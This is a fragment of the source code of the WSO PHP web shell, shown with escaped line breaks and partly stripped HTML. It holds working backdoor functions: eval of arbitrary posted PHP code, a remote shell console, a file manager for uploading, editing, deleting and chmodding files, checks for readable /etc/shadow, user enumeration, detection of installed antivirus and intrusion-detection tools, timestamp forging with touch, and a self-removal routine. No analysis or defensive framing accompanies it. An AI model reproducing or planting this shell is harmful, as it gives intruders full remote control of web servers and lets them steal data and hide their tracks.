Server security information

\';\r\n\tfunction wsoSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'\' . $n . \': \';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'
\';\r\n\t\t\telse\r\n\t\t\t\techo \'
\' . $v . \'
\';\r\n\t\t}\r\n\t}\r\n\r\n\twsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n if(function_exists(\'apache_get_modules\'))\r\n wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\twsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\twsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\twsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\twsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\twsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\twsoSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'
\';\r\n\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes [view]":\'no\');\r\n wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes [view]":\'no\');\r\n wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n if(!$GLOBALS[\'safe_mode\']) {\r\n $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n echo \'
\';\r\n $temp=array();\r\n foreach ($userful as $item)\r\n if(wsoWhich($item))\r\n $temp[] = $item;\r\n wsoSecParam(\'Userful\', implode(\', \',$temp));\r\n $temp=array();\r\n foreach ($danger as $item)\r\n if(wsoWhich($item))\r\n $temp[] = $item;\r\n wsoSecParam(\'Danger\', implode(\', \',$temp));\r\n $temp=array();\r\n foreach ($downloaders as $item)\r\n if(wsoWhich($item))\r\n $temp[] = $item;\r\n wsoSecParam(\'Downloaders\', implode(\', \',$temp));\r\n echo \'
\';\r\n wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\r\n wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n echo \'
posix_getpwuid ("Read" /etc/passwd)
From
To
\';\r\n if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\r\n $temp = "";\r\n for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\r\n $uid = @posix_getpwuid($_POST[\'p2\']);\r\n if ($uid)\r\n $temp .= join(\':\',$uid)."\\n";\r\n }\r\n echo \'
\';\r\n wsoSecParam(\'Users\', $temp);\r\n }\r\n }\r\n\t} else {\r\n\t\twsoSecParam(\'OS Version\',wsoEx(\'ver\'));\r\n\t\twsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\r\n\t\twsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\r\n\t}\r\n\techo \'
\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionPhp() {\r\n\tif(isset($_POST[\'ajax\'])) {\r\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', true);\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\t$temp = "document.getElementById(\'PhpOutput\').style.display=\'\';document.getElementById(\'PhpOutput\').innerHTML=\'" . addcslashes(htmlspecialchars(ob_get_clean()), "\\n\\r\\t\\\\\'\\0") . "\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n if(empty($_POST[\'ajax\']) && !empty($_POST[\'p1\']))\r\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']) . \'ajax\', 0);\r\n\r\n\twsoHeader();\r\n\tif(isset($_POST[\'p2\']) && ($_POST[\'p2\'] == \'info\')) {\r\n\t\techo \'

PHP info

\';\r\n\t\tob_start();\r\n\t\tphpinfo();\r\n\t\t$tmp = ob_get_clean();\r\n $tmp = preg_replace(array (\r\n \'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\r\n \'!td, th {(.*)}!msiU\',\r\n \'!]+>!msiU\',\r\n ), array (\r\n \'\',\r\n \'.e, .v, .h, .h th {$1}\',\r\n \'\'\r\n ), $tmp);\r\n\t\techo str_replace(\'
\';\r\n\t}\r\n echo \'

Execution PHP-code

\';\r\n\techo \' send using AJAX
\';\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tob_start();\r\n\t\teval($_POST[\'p1\']);\r\n\t\techo htmlspecialchars(ob_get_clean());\r\n\t}\r\n\techo \'
\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionFilesMan() {\r\n if (!empty ($_COOKIE[\'f\']))\r\n $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n \r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\r\n\t\t\t\t\techo "Can\'t upload file!";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh = opendir($path);\r\n\t\t\t\t\twhile ( ($item = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$item = $path.$item;\r\n\t\t\t\t\t\tif ( (basename($item) == "..") || (basename($item) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($item);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($item);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($item);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n if($f == \'..\')\r\n continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n $zip = new ZipArchive();\r\n if ($zip->open($_POST[\'p2\'], 1)) {\r\n chdir($_COOKIE[\'c\']);\r\n foreach($_COOKIE[\'f\'] as $f) {\r\n if($f == \'..\')\r\n continue;\r\n if(@is_file($_COOKIE[\'c\'].$f))\r\n $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n foreach ($iterator as $key=>$value) {\r\n $zip->addFile(realpath($key), $key);\r\n }\r\n }\r\n }\r\n chdir($GLOBALS[\'cwd\']);\r\n $zip->close();\r\n }\r\n }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n $zip = new ZipArchive();\r\n foreach($_COOKIE[\'f\'] as $f) {\r\n if($zip->open($_COOKIE[\'c\'].$f)) {\r\n $zip->extractTo($GLOBALS[\'cwd\']);\r\n $zip->close();\r\n }\r\n }\r\n }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n chdir($_COOKIE[\'c\']);\r\n $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tWSOsetcookie(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tWSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tWSOsetcookie(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n wsoHeader();\r\n\techo \'

File manager

\';\r\n\t$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';wsoFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "\r\n\r\n";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction wsoCmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "wsoCmp");\r\n\tusort($dirs, "wsoCmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "
NameSizeModifyOwner/GroupPermissionsActions
\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'>[ \' . htmlspecialchars($f[\'name\']) . \' ]\').\'\'.(($f[\'type\']==\'file\')?wsoViewSize($f[\'size\']):$f[\'type\']).\'\'.$f[\'modify\'].\'\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'\'.$f[\'perms\']\r\n\t\t\t.\'R T\'.(($f[\'type\']==\'file\')?\' E D\':\'\').\'
\r\n\t\r\n\t\r\n\t\r\n\t ";\r\n if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n echo "file name:  ";\r\n echo ">\'>
";\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionStringTools() {\r\n\tif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\n if(!function_exists(\'binhex\')) {function binhex($p) {return dechex(bindec($p));}}\r\n\tif(!function_exists(\'hex2ascii\')) {function hex2ascii($p){$r=\'\';for($i=0;$i \'base64_encode\',\r\n\t\t\'Base64 decode\' => \'base64_decode\',\r\n\t\t\'Url encode\' => \'urlencode\',\r\n\t\t\'Url decode\' => \'urldecode\',\r\n\t\t\'Full urlencode\' => \'full_urlencode\',\r\n\t\t\'md5 hash\' => \'md5\',\r\n\t\t\'sha1 hash\' => \'sha1\',\r\n\t\t\'crypt\' => \'crypt\',\r\n\t\t\'CRC32\' => \'crc32\',\r\n\t\t\'ASCII to HEX\' => \'ascii2hex\',\r\n\t\t\'HEX to ASCII\' => \'hex2ascii\',\r\n\t\t\'HEX to DEC\' => \'hexdec\',\r\n\t\t\'HEX to BIN\' => \'hex2bin\',\r\n\t\t\'DEC to HEX\' => \'dechex\',\r\n\t\t\'DEC to BIN\' => \'decbin\',\r\n\t\t\'BIN to HEX\' => \'binhex\',\r\n\t\t\'BIN to DEC\' => \'bindec\',\r\n\t\t\'String to lower case\' => \'strtolower\',\r\n\t\t\'String to upper case\' => \'strtoupper\',\r\n\t\t\'Htmlspecialchars\' => \'htmlspecialchars\',\r\n\t\t\'String length\' => \'strlen\',\r\n\t);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))\r\n\t\t\techo $_POST[\'p1\']($_POST[\'p2\']);\r\n\t\t$temp = "document.getElementById(\'strOutput\').style.display=\'\';document.getElementById(\'strOutput\').innerHTML=\'".addcslashes(htmlspecialchars(ob_get_clean()),"\\n\\r\\t\\\\\'\\0")."\';\\n";\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\twsoHeader();\r\n\techo \'

String conversions

\';\r\n\techo "
>\'/> send using AJAX
";\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(in_array($_POST[\'p1\'], $stringTools))echo htmlspecialchars($_POST[\'p1\']($_POST[\'p2\']));\r\n\t}\r\n\techo"

Search files:

\r\n\t\t
\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t\r\n\t\t\t
Text:
Path:
Name:
>\'>
";\r\n\r\n\tfunction wsoRecursiveGlob($path) {\r\n\t\tif(substr($path, -1) != \'/\')\r\n\t\t\t$path.=\'/\';\r\n\t\t$paths = @array_unique(@array_merge(@glob($path.$_POST[\'p3\']), @glob($path.\'*\', GLOB_ONLYDIR)));\r\n\t\tif(is_array($paths)&&@count($paths)) {\r\n\t\t\tforeach($paths as $item) {\r\n\t\t\t\tif(@is_dir($item)){\r\n\t\t\t\t\tif($path!=$item)\r\n\t\t\t\t\t\twsoRecursiveGlob($item);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif(empty($_POST[\'p2\']) || @strpos(file_get_contents($item), $_POST[\'p2\'])!==false)\r\n\t\t\t\t\t\techo "".htmlspecialchars($item)."
";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif(@$_POST[\'p3\'])\r\n\t\twsoRecursiveGlob($_POST[\'c\']);\r\n\techo "

Search for hash:

\r\n\t\t
\r\n\t\t\t
\r\n \r\n\t\t\t
\r\n\t\t\t
\r\n
\r\n\t\t
";\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\twsoHeader();\r\n\techo \'

File tools

\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\twsoFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'Name: \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' Size: \'.(is_file($_POST[\'p1\'])?wsoViewSize(filesize($_POST[\'p1\'])):\'-\').\' Permission: \'.wsoPermsColor($_POST[\'p1\']).\' Owner/Group: \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'
\';\r\n\techo \'Change time: \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' Access time: \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' Modify time: \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'

\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'\'.((strtolower($v)==@$_POST[\'p2\'])?\'[ \'.$v.\' ]\':$v).\' \';\r\n\techo \'

\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'
\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'
\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'
\';\r\n\t\t\t\t$code = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'\'), array(\'\'),$code).\'
\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!
\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'
\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!
\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'
\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000
\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'
\';}\r\n\t\t\t\t\t$h[1] .= \'
\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'
\'.$h[0].\'
\'.$h[1].\'
\'.htmlspecialchars($h[2]).\'
\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!
\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'\');\r\n\t\t\t}\r\n\t\t\techo \'
\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'
\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'
\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionConsole() {\r\n if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n $_POST[\'p1\'] .= \' 2>&1\';\r\n } elseif(!empty($_POST[\'p1\']))\r\n WSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".wsoEx($_POST[\'p1\']),"\\n\\r\\t\\\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tWSOsetcookie(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\twsoHeader();\r\n echo "";\r\n\techo \'

Console

send using AJAX redirect stderr to stdout (2>&1)
$
\';\r\n\techo \'
\';\r\n\twsoFooter();\r\n}\r\n\r\nfunction actionLogout() {\r\n setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie(\'bye!\');\r\n}\r\n\r\nfunction actionSelfRemove() {\r\n\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n if($_POST[\'p1\'] != \'yes\')\r\n wsoHeader();\r\n\techo \'

Suicide

Really want to remove the shell?
Yes
